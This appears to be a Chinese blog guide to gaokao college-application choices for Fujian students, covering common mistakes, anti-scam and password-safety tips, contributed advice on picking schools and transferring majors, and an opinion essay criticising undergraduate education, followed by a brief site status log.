B 站@我是行动派_：一句话，父母从政从商有见识，听父母的；父母打工种地，自己一辈子直不起腰，听自己的。别怪我说话直，这就是事实。

5.2 不能正视专业劝退#

辨识是客观分析还是情绪宣泄。情绪化的表述确实打动人心，但会不会掩盖了真正的问题？
注意分享人的背景：院校背景、家庭资源、努力程度等。尽量选择与你背景相似的分享（比如同一专业，清北 ✌️ 的分享普通双非学生的分享的语境就不一样）

5.3 忽视学校条件#

大学的条件真的不像很多人想象的那么好，尤其是很多校区比较老的（参考 B 站上的“招生减章”类视频）。除了学校本身实力以外，还是建议大家多了解了解这一方面，不然大学真的会和服刑一样，毕竟你还要在这所学校就读 4 年甚至 7 年。具体可以参考这些维度：

地理位置：当地气候；学校在郊区 OR 在城镇；学校周边的出行方式；与城市公共设施的距离；与产业集群的距离……
宿舍条件：上床下桌 OR 上下床；卫浴干湿分离 OR 干湿不分离；有无空调；有无阳台；有无洗衣机……
洗浴条件：独立卫浴 OR 集体卫浴；小淋浴间 OR 大澡堂……
其他，如管理制度（自习、离留校、宿管）、运动要求（一学期要跑 XX 公里）等
注意多校区的学校，不同专业、不同年级在哪个校区培养都有差别，要看招生计划。校区与校区间，亦有高下之分

5.4 填到野鸡大学#

擦亮双眼！所有志愿都在福建省普通高校招生考生志愿填报及志愿填报辅助系统上报，不要相信“点击即送”的骗局！

Info

你可以在全国普通高等学校名单上验证大学资质（该名单每年 6 月高招志愿报名期间更新一次）你也可以在福建省教育考试院上验证你的录取信息教育部发布温馨提示：高校招生录取期间谨防上当受骗

5.5 混淆相似概念#

学校：哈尔滨工业大学（哈工大，985）/ 哈尔滨工程大学（哈工程，211）/ 哈尔滨理工大学（哈理工，双非）
专业：生物科学（理学）/ 动物科学（农学）/ 动物医学（医学）；生物工程（生物科学的工程应用）/ 生物医学工程（生物医学的医疗器械研究）；计算机科学与技术（工科-计算机类）/ 信息与计算科学（理科-数学类）；眼视光医学（临床医学类-医生）/ 眼视光学（医学技术类-配镜师）；数字媒体技术（工科-计算机类）/ 数字媒体艺术（艺术学-设计学类）…

5.6 人云亦云#

明确自己的需求，找出志愿填报决策点。

Example

我在从高招会打车回来的路上遇到一位司机师傅，他给出的报考原则是“文凭”or“毕业证”。如果家里不需要依靠学生出来赚钱（拿毕业证），就往高层次的院校报（比如他自己的孩子）；需要学生赚钱的（拿文凭），就要考虑专业了。不一定对，但至少有一个明确的决策点。周边人意见的稳定性不一定强（比如我家人，前段时间还说要读好专业，但之后又说要冲院校，不冲还说我胆子小），但是 你自己必须站定一个立场（冲院校还是保专业？学校层次还是业内评价？），“既要院校好，又要专业好”的想法多半限于极高分段的同学。

5.7 不看招生章程#

可通过阳光高考平台的招生章程或者院校招生网查看。

你需要关注的是：

录取政策：按什么规则录取
身体条件：看看有没有院校自己的身体要求
单科成绩排序：同分数下，优先录取哪一门科目分数较高的考生

5.8 填报策略激进#

不要赌狗上脑！稳重一点！可以有风险偏好，可以有冒险精神，但前提是你已经有了可以兜底的防护网。

福建可报 40 个院校 + 专业组志愿，数量绝对是过剩的。

5.9 不服从调剂#

一定一定服从调剂！！除非你有充分的自信和绝对的实力（不论好的坏的）。头铁的多半会被退档。

5.10 瞎填提前批#

容易得不偿失。万一被录取了，那么后面的批次立即作废

5.11 决策权不在自己#

学生 自己保护 好志愿填报的账号和密码。

Warning

以下各类信息不建议考生公布于网络：1.高考准考证；2.个人身份证；3.考生号及密码；4.成绩单；5.成绩查询页面截图；6.志愿填报表；7.个人录取通知书 —— 2024 年高考防诈骗指南如果需要展示，请遮挡好敏感信息，重点关注可能追踪到个人的证件号。

人生的路只能自己走，自己做决定，并负责到底。

Tip

“广大考生要提高防范意识，不要委托他人进行网上信息查询或信息登记操作；志愿必须由本人填报，任何部门、学校、个人无权要求考生提供登录密码或代替考生填报志愿；要保管好自己的志愿填报密码，不要泄露给外人，以防他人篡改志愿。” “有的考生委托中学、高校或他人代为填报志愿，将自己的考生号、登录密码等信息透露给委托人，录取时发现与本人设想相去甚远，想修改志愿但密码已被他人篡改，追悔莫及。高考志愿必须由本人填报，任何部门、学校、个人无权要求考生提供登录密码或代替考生填报志愿，为维护考生本人利益，请务必妥善保管个人信息。” —— 2024 年高考防诈骗指南

CH6 最后的话#

志愿填报也许是大家人生当中第一次，你重新向内审视自己，然后把自己和社会与世界链接的一个时刻。在这么普遍焦虑的时代，我希望大家可以问问自己的内心：你到底想要什么样的人生？你到底想要成为什么样的人？ 现在很多世俗的既定的默认的评判标准，我觉得不能够成为左右你的一个枷锁。因为每个人都有适合自己的节奏和时区，所以没有正确的目标，没有最好的道路，比道路和目标更重要的是你自己本身。学习、生活、工作都是土壤，从中发现和认识你自己才是未来最重要的课题。学生时代没有标准答案，人生的意义由你自己赋予。 希望你的未来，都是一片坦途。

CH7 其他填报建议#

Warning

如果你在阅读本章节和之后的最终章节的内容时，感到情绪开始波动，请停止阅读。激动的情绪可能会影响你的认知和判断。

这两章的内容是很有目的性、甚至于煽动性的。我相信总存在其他人，他们会有更理性的声音以中和，使你获得更接近于客观实际的认识。

7.1 @teafrogsf#

如何正义劝退?——以高考为途径的大学专业报考指北

一、与分数匹配的学校#

在你拿到了你的高考分数和相应的排名后，你应该会去寻找与你的排名相近的学校或者学校的部分专业。你可能会对选专业还是选学校有一定疑惑。这件事并没有绝对的优先级，除了部分学校打造的所谓“王牌专业”外，每个学校的每个专业（此处我们假设它们讲授同样的内容）可能差别不大。因此，如果你对内卷已经深恶痛绝，不希望再浪费一年的生命在转专业考核上，可以优先考虑匹配自己的专业；如果你认为需要把分数利用最大化，同时对内卷仍然能够耐受一年，又有足够的把握确信能转专业成功的话，可以优先考虑匹配学校。如果你对打算去的学校里那些比较顶尖的专业，或者不直接招生的那些专业感兴趣，记得提前了解好情况。如果你对专业没有想法，请尽快有个想法。如果还是没有，那就直接选学校 即可；尽管这可能并不是一个好的决定。不过，其实选学校这件事本身也可能是充满疑惑的——你的选择可能是一件充满偶然性的事，它给你带来的后果（或者，用光明一点的话说，未来）可能需要你在四年之后才能感受到。因此，没有必要期望做出一个 100％概率的最优解，找到一个目前的答案就好了。剩下的，只能交给时间去解答。

二、招生办#

请确认对方是招生办

大部分人主要在线下见到招生办，这个很好查证；但有时，我们会从线上和招生办联系。你应该从多方查证，确保是官方认可的招生办联系方式。

现在存在由于考生“防诈”，招生办联系不到考生的情况。因此，给出几点建议：

做好志愿调查工作，分数和志愿匹配，建立预期。这一点即使面对真正的招生办也很重要；
志愿结果出来前保持电话畅通，特别是家长。记住接通后可以拒绝，不是只有直接挂断这一个方式；
注意沟通过程中是否涉及钱财往来等高风险警告；
不可自以为是，将所有的电话都视为诈骗

你肯定会需要咨询各个学校的招生办来了解情况。对于招生办给你的解答，不要全信，不要自动过滤“可能”，明确进一步的问题。招生办告诉你的，往往只是大学的冰山一角。只靠他们的解答远远不够，你还需要自己去了解更多的内容。

不是所有招生办都有热情

在一般人眼中，高招期间，高校招生办应该是电话打爆、摊位挤爆，非常火热。但近年来，一些高校的招生办也出现“消极招生”的情况：线上线下双双失踪，电话打不通，QQ 群无人，咨询会仅有棍母出席，招生工作压在热心学长学姐身上，招生老师自己甚至不时爆典。从这些现象可以反映出该高校对于当地招生工作的态度和高校内部行政方面的问题。

需要相信招生办吗？

选考物理的小 L 近期遇到了一个让他困扰的问题。他的 2024 年高考成绩为 625 分，省排名 7684 名。某一天，你的班主任说你的分数正好压南京理工大学 2023 年最低录取分数线，并给出招生组老师的电话。你的父母微信咨询招生老师时，对方说不要看 2023 年的录取情况，只要参考 22、21 年的情况，这样大概率可以录取到。你的家人——从父母到爷爷奶奶再到叔叔婶婶——因此疯狂在你耳边吹嘘南理工的优势，并且认为学校和老师肯定是为了你好，报这个院校肯定是匹配你的分数的。与此同时，你通过招生网、夸克、微信、贴吧等多种渠道发现以这个成绩强冲院校只能冲进“天坑”专业：直接比较分数来判断自然是前途一片光明，但按排名比较就拉垮了，再看转换分和转换位次，更完蛋），且南理工转专业政策趋严。那么你的选择会是什么呢？

揭晓答案

这里的“小 L”就是编者本人。由此可以看到所谓“为你好”的招生办老师的阴暗面。我经过一系列考察，决定不听取这个建议，将福州大学放在第一志愿并最终录取。之后南理工的录取分数线也证明了我的猜想：南理工绝大部分专业在福建的最低录取分为 631 分，可以被录取的专业仅有 4 个：公共事业管理、日语、社会工作、英语，并且分数线在 570 分上下，又亏了。如果我真的去报南理工，基本只有滑档的可能。

请记住：招生办大概率只对录取分数负责，他们的策略往往是“稳住最低分，争抢最高分”。对于高招，在系统显示已录取之前，所有承诺都是不确定且可违背的。如果你对高校招生办仍抱有幻想，那么请关注一下历年高校研究生招生乱象，其中不乏一些重量级的高校。可以看看央视网的“保专业”“本硕博”承诺靠谱吗？高校抢人大战背后的“甜蜜陷阱”，里面也出现类似的承诺，但那位受访者选择了相信，结果录取线比 TA 的分数高了 2 分。最终这位受访者没有被录取。

“任何人都无法干扰正常的投档流程。招办只能互通已有信息，做出预测，而不能决定投档！ “记住任何没有盖章的纸质、口头承诺均没有任何效力，而且招生和学校是可以划分界限的，学校自己可以撇清关系，你再怎么难受也没用。” ——【招办的“承诺”是真的吗？】老师，招办给我承诺录取，但是我滑档了……

三、你选的专业究竟是什么#

终极答案是：看培养方案。当你对某个学校的某个专业产生兴趣时，请在搜索引擎上花时间找找它的培养方案，了解你的大学生活需要学什么。请注意，同名专业在不同大学的内容可能完全不相同。如果你找不到，尽可能地问学长学姐或者招生组要到。如果你看不懂课程名称或介绍，可以稍微去搜索一下，有一个简要的了解。不过，理所当然地，课程名和专业名一样不靠谱，但是再去找课程大纲的成本可能非常高，因此多问是一个好选择。如果你遇到的是大类招生——请提起 998244353％的小心。一定一定一定问清楚专业分流的情况，预估一下你有可能会被分向什么专业，并做好最坏的打算，尤其是当一个专业组里出现极其不同的两个专业的情况。如果你需要在大一获得很好的成绩来分流到好的专业，从而被迫在大学的第一年继续参与到内卷当中，请尽情内卷，只要你清楚这可能是最后一次你依赖这个单一的评价体系。（对于研究生申请，请应润尽润）

四、你真正应该关注的变量#

专业评级需要关注吗？除了高校声明了针对本科生的资源分配的情况（如清华叉院，上交 ACM 班等），其他情况大概率不需要。比如，你可能感觉不出一个专业评定为 A- 的学校和专业评定为 C 的学校的同一个专业上起来有什么区别，因为它们有可能一样烂。
学校氛围需要关注吗？是的，这很重要。一个学校的整体氛围很可能会隐性地塑造你的未来发展。学校整体提供的资源、学术倾向和氛围、日常生活的方方面面甚至是文艺氛围都会影响你的生活与发展。因此，可能的话，问问学长学姐平常的生活是怎么样的，多问几个，然后对比。
生活水平重要吗？是的，它比相当一部分内容要重要。现在关于大学生活水平已经有了非常好的参考，即 https://colleges.chat/，你可以访问这个网站获得非常详细的信息；同时你也可以问问学长学姐。如果有不能忍受的条件，请一定一定慎重考虑。
教学水平重要吗？无比重要，但没有用。既然你选择在国内就读本科，那么不要对教学水平抱有任何期望。总体上来说，如果把视线放在三本到一本，那么分数越高，遇到优质教学的概率就越大；但如果把视野放到所有 985 这样的小范围里，那么教学质量具有高度随机性。你必须做好自学的准备。当然，你还是可以向学长学姐们打听教学水平——如果他们只是说某几个老师的教学不错，那就要小心了。
科研水平重要吗？不一定重要。本来是想写不重要的，但现在也已经有一些学校愿意给本科生充足的真正的科研机会，因此 it depends。总体上来说，科研相关的内容与低年级本科生的关联不大，因此即使一个高校的某个学科成为特色，也不妨碍它的教学很烂。同时，对于本科生来说，科研在很多时候都是成为劳动力，尽管学习如何成为合格的劳动力也很重要，但这可能与你想象的科研生活相差甚远；同时，早入实验室有时候并不是一件好事。因此，如果你对科研有强烈的意愿，请了解你期望的学校愿意给你哪些机会，同时请理性地面对科研和学术共同体在这个时代下的现实。

五、如果你已经做出了选择#

首先恭喜你，你可以继续过幸福快乐的暑假了。对那些让你自学的人说拜拜，因为这是你的最后一个没有压力、可以认真地感受这个世界的暑假。把时间浪费在学一些通识课程上是相当糟糕的选择。当然，你也可以选择一些感兴趣的内容随便学学。暑假两个月学习的内容开学可能两周就讲完了，所以学多少内容不重要。 最后，希望你从此开始，不再是一个孩子。

7.2 @宣兵 22366#

【I 在工大】对志愿填报的一点个人主观见解，希望能帮到考生

零、先叠个甲#

本篇报考建议出于本人在给多个不同省的考试提供报考建议，给重复的简单问题搞得头昏脑胀（特别是四川安徽湖北几个合适排名都在一万多的省），差点给出错误建议之后，本着授人以渔不如授人以渔的思想，决定写出，希望考试和家属们能够自己做出决定，打破信息差，按照自身想法填报心仪的学生专业。本篇报考建议主要适用于 家庭条件中等或较差（少爷小姐就不用来咨询报考了，直接问你家里人，你家里人肯定能给你安排的好好的），以在毕业后 得到较好的毕业去向为目的，自己和家人在报考前 对报志愿了解较少，所在省份报考模式 有调剂风险 的考生和家属，其他考生和家属也可以参考，出于我的主观判断，有不足之处请予以指出。本篇报考建议将以我最熟悉也是回答最多的，新高考省份，排名在中游 211 左右，对工科感兴趣的报考为例，不同省份，分数段，学科可能会有所差异，请谅解。

一、确定报考策略和专业偏好#

定下大致方向。根据你高考的选科，自身的爱好，家里的条件，家里能不能对该专业所对应的工作有所帮助，该专业的前景等，在工科，理科，医学，经济，管理，文科，法学等方面进行选择（可以选择多个方向）
定下你大致的报考策略，主要分为三种（没有歧视专业的意思 😭）：一是优专业优先，以工科为例，只选择去计算机电气电子信息，相对差一点专业的就不选择；二是专业优先，能报计算机电气电子信息最好，去机械这样的专业也能接受；三是学校优先，家里能给我安排工作，或者奔着考公，能去层次高的学校就去高的，专业无所谓。
了解具体专业，去网上，或者问现实中的熟人，从多方面了解自己的意向专业，了解这个专业学什么，学习难度，毕业去向，就业前景，上升途径。这里建议结合筛选学校步骤，去上网搜索对应学校对应专业的培养方案，非常简单，不用麻烦学长学姐。以我们合肥工业大学为例，直接搜索我们学校+专业名+培养方案即可找到，又或者去对应学校的招生官网，找到对应院系，也能找到对应专业的介绍，看一看大概上什么课。
不要轻易被专业名称所迷惑，例如我们学校的生物医学工程专业并不是“天坑”，而是和电子信息相关的专业；在我们学校的仪器学院，又如山东大学新增的工程软件专业，属于土建和水利学院；我们学校的电子信息材料专业，属于材料学院。

二、筛选目标院校#

这一部分是经常被询问的，但是其实很简单，不要用这种简单重复的问题来麻烦学长了 😭，如“老师/学长，我是 xx 省考生，考了 xxx 分，能不能上你们学校啊？”（这种问题要问也请带上：省份、选科、具体排名，不要模糊的，有的人问多少名，回答一万多名。一万九千和一万一千能上的专业差的可多了）

先利用一下夸克的智能选志愿（不要完全信任），在 稳和保 里面找差不多的学校（对应专业组的对应专业能稳和保）然后去对应学校官网，或者你们省买的报考指南这样的书，去看该专业的历年分数（不要只看一年！！！）利用一分一段表看自己的排名和往年排名匹配不匹配，亏五分以内不用太在意，能稳上就好。
如果担心涨分的话，这里是我的一点小经验，不能保证有用，把近三年的排名，和最近几年的招生计划人数结合来看，专业排名突然升高或降低的可以不用太在意，大部分工科热门专业都是缓慢上升，但是如果缩招的话需要的排名会较高，扩招的话会较低。这里以安徽省 12000 名报考我们学校为例，浏览器搜索合肥工业大学，进入合工大的本科招生网，查看历年分数，配合一分一段表查看 2023 年 12000 名对应 609 分左右，合肥校区去不了什么好专业，宣城校区可能能去智能科学与技术和电气工程与智能控制。
不要轻信一些志愿填报机构和招生办老师，误人子弟。这里点名我们学校的招生办，去年我们学校在最高分专业对应排名才 7000 多，让 5300 名的考生来填报我们学校；又比如安徽省 11000 名最多够到机械工程，你让人冲分最高的创新班；安徽省 20000 名宣城校区都上不了，你让人 20000 名冲肥区，安徽省 28000 更是见不到我们学校的投档线，就是上了也是调剂到最差的专业，甚至造成连锁反应，误导更多人。

当然你能找到的肯定不止一所学校，这时候你就需要把这些学校都筛选出来，然后在下一步进行抉择。

三、了解抉择学校#

到了这一步，建议去各大平台，例如贴吧的对应学校吧或者 QQ 群去询问对应学校的学长学姐，询问对应学校专业的学习情况，学校的生活条件，科研设施，人文管理等方面，不要等进了学校发觉学校各方面的不足而自耗后悔。当然，肯定没有完美的学校，但是预先了解，做好心理准备总比什么都不懂，满怀对学校的幻想却被现实深刻打击来的好。
同时，对同分段的学校的选择，也可以根据这些方面来看，如 地域条件，在福建省，福州大学的电气可能就比同分段其他学校的电气好，因为电气的就业地域性强，深圳大学，杭州电子科技大学在计算机领域，也有类似的优势；又或者有些学校，在某些行业具有优势，例如华北电力大学的电气，西安电子科技大学的计算机电子信息，华东政法大学的法学等，行业优势是足以超越学校层次的，希望考生能多方面考虑。

我也是只是一名大一学生，很多地方看的也很片面，内容仅供参考，祝愿考生们能报上心仪的大学专业。

7.3 @忧光草#

以转专业为目标导向的志愿填报推荐

最近看到很多考生对转专业有想法，毕竟福大转专业难度算是最简单的那一档了，如果已经决定以转专业为目标，填报志愿只是为了能上福大，啥专业都无所谓的话，不妨看看我的推荐 🥰 首先先声明，转专业虽然不难，但也没有百分百打包票的。因此存在一定风险，不愿意承担风险建议换个学校报个好专业享受美好的大一生活。

转专业 首推肯定是院内同类型专业，例如电气与储能、智电，计算机与软工、化学与制药……这种孪生关系的专业，可能之后专业课有区别，但大一上抛去导论类课程基本没有区别，属于是转专业最舒服的那一档!! 转成功了，大一下直接无缝衔接；转失败了，大二上的时候学的课程也没有相差很多，再转也可以无缝衔接且不降转。再失败，咱就继续读呗。最后读研时跨考或跨保都是合理的，有的甚至学的都是同一个东西，名字都差不多，以原专业毕业没有任何影响。
考虑到大伙如果以转专业为目的，那可能排名 1w-1w3 之间，报不上太好的专业，能选择的范围也就生化环材土木机械。这时候就要结合具体专业分析! 本来还要考虑住宿环境，但是现在大伙都住在铜盘（工业设计、地质工程除外，大伙填志愿一定要留保底，不然被调剂了不是留在旗山就是跑到厦门去了 😿）。

Tip

① 如果你是想要转电气这类的工科，推荐选择大一上学工程制图的专业，这种一般也是泛工科类专业。但是要注意工图 ABCDE、高数 ABCD 的学分认证关系。以电气为例，首推化工专业 👍🏻，众所周知石油化工，迈向成功，电气要学的工程制图 E 可以由化工的工程制图 D 完美过度。甚至电气要学的近代史思政，化工大一上都学完了！因此当你成功转入电气后，当你的电气同学都在忙于背书的时候，你就可以爽学电路和高数！稍逊色的是过控和油储，学工图 A 有点痛苦。除此之外无机化学 B 保证了专业课难度并不高！不会被自己不感兴趣的专业课深深折磨！

② 文科，指泛文科类。诸如汉语言、法学、外语等。转这个首选相关，次选大一课轻松一点的，也没啥建议 😋

插句题外话，我认为转专业值得一试，会让你刚上大学就进入学习状态，对你整个大学的学习态度有很大裨益。譬如电气专业第一这几年全是转专业的。但是机遇与风险并存，你也要想好失败的后路。生于忧患死于安乐，可能你降一档学校会选到不错的专业，但是学习动力或许就不那么强。最后，劝各位准大一新生 尽早抛弃对大学美好的幻想，大学自由安排的时间确实很多，但取决于你如何利用。特别是转专业的同学，12 月以前就当是读高四 😠, 搏一搏！
但还是结合具体情况各位，如果感觉学业压力很大，也可以选轻松一点的专业，留更多时间来准备考试。之后转完了再慢慢补也来得及。
说一个很重要的：想转专业的话千万别报数学专业，不学高数的，学的数分一堆证明，进度比高数慢特别多，基本自学。
图穷匕见，安利一下转专业分享站 FZU-RUN 和转专业交流群 1136717485（不要被卖资料的人骗了），里面的人说话又好听 😀。因为淋过雨，所以想给别人撑伞。希望大家都能进入福大并成功转专业 🥳

7.4 @Casey|侦知棒#

最新最全的高考志愿填报指南（2025 版）

何以求存？超越高考的志愿填报心法

CH? 我们的本科教育会变成什么样子#

目前的教育开始进入一个尴尬的局面：我们说着“全面发展”、“学生减负”，但当发展也成为一个任务，一个可以评价的事件，学生反而不敢放松分毫——这在科研“破五唯”过程中已经有所记载。我们越是强调“破五唯”，越有可能遇到“迫五维”。

Note

我认为“素质教育”和“减负”在一定时期内就是存在矛盾的。“素质教育”下的全面发展和自主探索，在实践中依然体现为课程量的增加和追求应试。面对不断增加的“要求”、“强调”，学校优先也可能唯一能做的就是“加课”。即“……被教育实践所异化，转化为改革本身的工具，用以便利地达成改革中诸多复杂的目标（如果强调体育便增加体育课，强调美育便增加美术课，强调德育便增加思修课）”¹

还有年龄的限制：基础教育最后的时限就是 18 岁上下。如何在总的固定的时间内保证不断增加的教育内容的传授？提高学习效率无疑是更好的选择，但许多基层教师和学生往往无法实现；于是，时间分配向学习倾斜就变成了唯一的选择。最后又落回到增负。

“素质教育”可能变成某种样子：“年龄可怕的人，做着可怕的事。‘可怕’的观感，来自超出预期的年龄，以至于一次又一次刷新人们的认知。……这是整个社会都在发生的事情。这个状态在未来也会持续，直到人类生理健康容许的思维能力极限。”（MC 梗体中文版本的终末之诗）

反而是达不到所谓“减负”的效果。

包海芹认为，“教育政策过程的复杂度不仅在于参与主体的多样性与权利的分散性，更在于其目标的多元性及其政策效果的延时性。”¹社会要求层层加码，学习内容并不完全由个人决定。“十年树木，百年树人”，当教育制度开始改革，往往又是一次代际更替，而前人则带着旧体制的烙印进入社会。

现在的小学和初中开始传出不好的消息：有的高年级学生无法理解逻辑连贯的简体中文句段！这是由多方面引起的：疫情期间缺少实地教学、校内减负和素质探索不能弥补训练量的减少、家庭教育无法顶上学校放手的空缺……甚至可能包括娱乐方式向直接音图像刺激的短视频转移的影响。
无论之后教育改革成什么样，这些学生已经带上了当前教育制度的烙印。至于后续的学习阶段能否“纠偏”，依然是个未知数。

在中国，“素质教育……其本质是由教育的结果来决定的，而这一结果在相当程度上体现为经济问题……如果一场教育改革是为了达成某种经济目的而存在，那么只要能够达成经济目的，‘教育’本身就可以被牺牲。于是我们便得以见到，几乎与素质教育改革同时展开的高校扩招，是如何在同一文件（《面向21世纪教育振兴行动计划》）的指导下，推行着与素质教育不无矛盾的政策，借助教育改革的话语掩饰缓解就业压力、扩大内需的经济目的。”¹

“新高考改革在两个基本面上继承了‘新课改’：其一是延续了素质教育改革早期的工具性预设，甚至直指其目标是通过教育‘生产’出市场经济需要的各式人才，实现劳动力供给侧的变革，‘解决劳动力和就业结构性矛盾’；其二则是承接了素质教育改革中的教育学理想，希望推动自由选择与多元评价，培养‘完整的人’。”¹

如果在这种基础上，学校的办学理念变动为经济导向，那么教育学理想的部分就会更加稀薄。
是的，我在 Q 某个“自负盈亏”的大学，后者现在已经变成路边一条了（

一些学者提出这样的观点：学校、教育不仅是传道受业、为国选才，还是社会结构再生产的重要环节。“教育除了理论上的三个功能即传递知识、培养人格、以及选拔人才之外，还有两个结构性功能，一个是维系社会分工，另一个是阶级再生产……现在大家一方面批判社会阶级固化，一方面又高度的精英主义，这其实是一个思维分裂的过程。”²

Note

在今天，教育好像什么都要负责：它要为国家培养人才，为社会分配资源，为市场输送劳动力，甚至还要维持秩序解决各种问题，几乎成为什么都得管、什么都能救的万能工具。可在这样的年代，我们还能不能留住教育最初的那点温度呢，还能不能保留每一个人都值得被认真教导的信念和浪漫呢？如果连成为人的教育都被放弃了，那么我们最终守住的又会是怎样的未来呢？ ——墨虎Mukhoo

“‘如果人们的处境比较暗淡，我们通常就没有权利叫他们非按照快乐的调子唱歌不可。’……而现在……却整天树立一个躺平、颓废消极的靶子……一会儿说不努力，一会儿说不积极阳光……似乎只要努力了就有大好人生和光明的未来了，完全不顾狭窄拥挤的选择通道……注重精神世界和人文关怀的氛围在哪里？……谁来关怀每个人的精神苦闷？”

现在的大学绝对不是所谓的“避风港”。你在基础教育阶段遇到的问题，在大学可能不会减少，甚至越积越多。事实是，随着大学“高中化”，曾经那些令人厌烦的话语又会卷土重来。这是社会环境变迁所造成的，过去我们通过各种渠道接收的关于大学生活的印象可能早已过时。

对于大多数学生，学考的压力实际存在。这一点在国外依然成立，比如普林斯顿大学推翻《荣誉守则》的“个人负责制”，强制教师监考现场考试³。即使在这些“天之骄子”中，依然有相当数量的学生为了取得更好的课程评价而违反所谓的“守则”，在技术进步的现在，这种现象变得更加猖狂。

目前的教育制度已经出现“马太效应”：结构性的负反馈循环造成学生的学科能力下降。主观的焦虑和客观上的时间紧张使得学生很难从困境中自己摆脱出来。这一套机制和贫困相似，因此对困境中的学生说“再努力一点”就和对贫困户说“再多赚一点钱”一样（详见数学学习陷入困境的根本原因）。

“我今年 23 岁，应该说才刚刚走向生活，可人生的一切奥秘和吸引力对我已不复存在，我似乎已走到了它的尽头……拼命看书，希望从那里得到安慰和解答，但看书并没有使我从苦恼中得到解脱，慢慢地，我平静了，冷漠了……一方面我谴责这个庸俗的事实；另一方面，我又随波逐流……有人说，时代在前进，可我触不到它有力的臂膀；也有人说世上有一种宽广的、伟大的事业，可我不知它在哪里。人生的路呵，怎么越走越窄，可我一个人已经很累了呀，仿佛只要松出一口气，就意味着彻底灭亡。”——“潘晓来信”
从精神分析的角度看，目前社会环境下诱发的强迫症特质（此处的定义参考「精神分析」自闭的强迫症）对于之后的学习实在不是什么好的事情，见「精神分析通俗运用」毫无治愈可言，认清这点你反而还会保有一点尊严。。
我还需要补充一句，这种现象不仅仅局限在中国；类似的观点在国外文献中早有论述，这或许真的是某种“发展的代价”？但是现状如此，不想成为代价之一，就需要发挥主观能动性了。

假如你确实是个有志向的人，那么我相信你会有个光明的大学生活，在“教育的缝隙”中找到对抗结构的动力。但是正如上面所说的，有时自己就是在困境里越陷越深，难道真的要像某些叙述里，有一天忽然遇到了奇遇，然后忽然顿悟？我不太相信。人生的前 20 年早已度过，却依然浑浑噩噩……

很抱歉，行文到此，我也无法为你指条明路，因为我本身就在沉沦。

以下是一些其他人关于教育制度的吐槽，态度自然有其偏向，但本章的标题决定了摘选立场。怎么越来越长了

“国内绝大部分大学的本科教学，不是濒临崩溃，而是早已崩溃。”——上海交通大学生存手册
“学校不是好东西。”——哈尔滨工业大学降星驰
中科大的教育确有问题😰在中科大家长论坛的发言
“国内高校的教学水平，配不上这么好的生源……中国大学生在经过本科学习后，批判性思维、数学和物理技能水平都出现了大幅下降……中国高校教育的颜面，就靠少数‘卷王’撑着。”——大树乡谈
“上了一周的课我真的很生气……冗长的教材繁多的科目腐朽的课程安排🙄……目前只有两节课听得下去🙄……下周再这样可以把这学期学费和书本费退给我吗”——某位在某 985 高校就读的同学
“学生不听讲是我讲课内容不先进吗？绝对不是。20 多年前讲《电脑因特网的历史和文化》时，170 多人的大课，同学们精神饱满、热情澎湃……是我教学手段太单一吗，也绝对不是……然而，即使是播放史蒂夫·乔布斯、比尔·盖茨和埃隆·马斯克等杰出人物发展史，学生们依然低头，毫无兴趣……我看问题并非出在自己身上”——北京交通大学教授王元丰（《中国科学报》）
“这位老师一直在强调自己的备课内容、教学手段没有任何问题，查阅资料却在对比 20 多年前讲《电脑因特网的历史和文化》，现在若还在讲因特网和操作系统，这个课堂确实是‘发霉’了。”——一位大学生读者对上文的回复
“现在感觉就是多了一个手机的高中生活。”——小洛（化名）
“如今大学管理的‘中学化’，表面原因是教师所说的学生自律性差、缺乏责任心，而更深层次原因则是大学与中学一样，正日益成为‘无限责任主体’。大学生学业成绩出问题、外出发生安全问题，家长都要找学校，要求追究学校的责任。为避免担责，学校也就无奈采取与中学类似的‘圈养’管理方式。”—— 21 世纪教育研究院院长熊丙奇
“当大学为了回应管理的要求，设立一系列制度和措施时，它便与学生心中‘大学是松散自由的’印象形成鲜明的对比。结果是，学生进入大学后迅速地失望、冷却，失去探索的兴趣。收手机是想把学生从某种状态逼出来，但往往是适得其反的，我想没有任何一个措施会成功。……大学今天被纳入一个管理的指标体系中，但教育这件事是没办法指标化的。……我说得通俗一点，很多大学对现在的学生该怎么管，已经没招了，基本上只能通过强制性，或者可量化的方式去运作。”——西南某高校社会学系副教授袁长庚（《南方人物周刊》）
“高等教育机构远非一个文化上中立的环境，其中充斥的是中上层的文化规范和游戏规则。‘小镇做题家’在这样的的异质文化中往往要经受‘地位、经济焦虑’、‘文化疏离’和惨重的心理、情感代价。”——浙江大学计算机学院犬戎大充斥
“Students already struggle when they get into college and find that things aren’t as structured for them as they were in high school. It frustrates me that so many college courses continue this unnecessary rigid structure that does them little favor in most industries.”-CubicInfinity on Stackoverflow
“四年后你们将带着四年前的老知识进入社会，更何况我们学的已经是不知道多少年前的知识了。”——某位博主引用其老师的说法
“我承认学校教育并非一定要与现代生态结合，但至少要保证代码能跑起来。这个（示例）里面竟然还有 Flash、IE 标准，实在是令人遗憾，也让我感受到大学教育与社会脱节的现状。说实话，看到这份教学资源的时候，我脑子里闪过的第一个念头就是：这还是 2025 年吗？我们居然还在用 2007 年的技术栈来教学生？！……至少这次经历让我清醒地认识到：自学才是王道。学校给你的，只是基础；真正能让你立足社会的，是你自己的学习能力和适应能力。在这个快速变化的时代，如果你还指望学校教给你一切，那你注定要被时代淘汰。我纵有千言万语，却在这里止住，唯有深深的无奈😮‍💨”——xingwangzhe
“你们的教学计划怎么是这样的？！杂七杂八的课程太多了，大一、大二专业课程量还是不够……”——某位老师
“我们学校就是以考研为方向的，和清华北大那些以保研为方向的大学比，教学方针肯定有差别……”——某位老师

Footnotes#

博客特殊事件记录

Fri, 07 Mar 2025 14:33:07 GMT

启用新状态页面

2025/3/12，使用 Instatus 创建了服务状态页面。您可以访问 Status 界面。本文章仍会尽量更新。启用 Instatus 是为了起到第三方监测作用，同时采用 Monitor 实现自动化监测。

2026/8/29#

目前状态

正在解决

本站迁移至 Astro 的 Firefly 主题。由于变动极大，迁移过程中可能会出现一些问题。

2026/8/15#

目前状态

正在解决

最近 Stellar 开始 Vibe coding + 爆更，开始对旧有配置进行破坏性变更，再加上引入了一些我不喜欢的修改，导致我需要花费更多心思 fork。本站可能出现不正常的情况，这是 merge 出现 bug 所致，目前正在排查。

2026/8/13#

目前状态

已解决

使用 Cloudflare 对 OSS、Artalk 和 Memos 资源实现加速服务。

在实践中，阿里云 ESA 会完全阻断来自中国境内的访问。还没有尝试腾讯云 EdgeOne，但我觉得可用性区别不会太大。

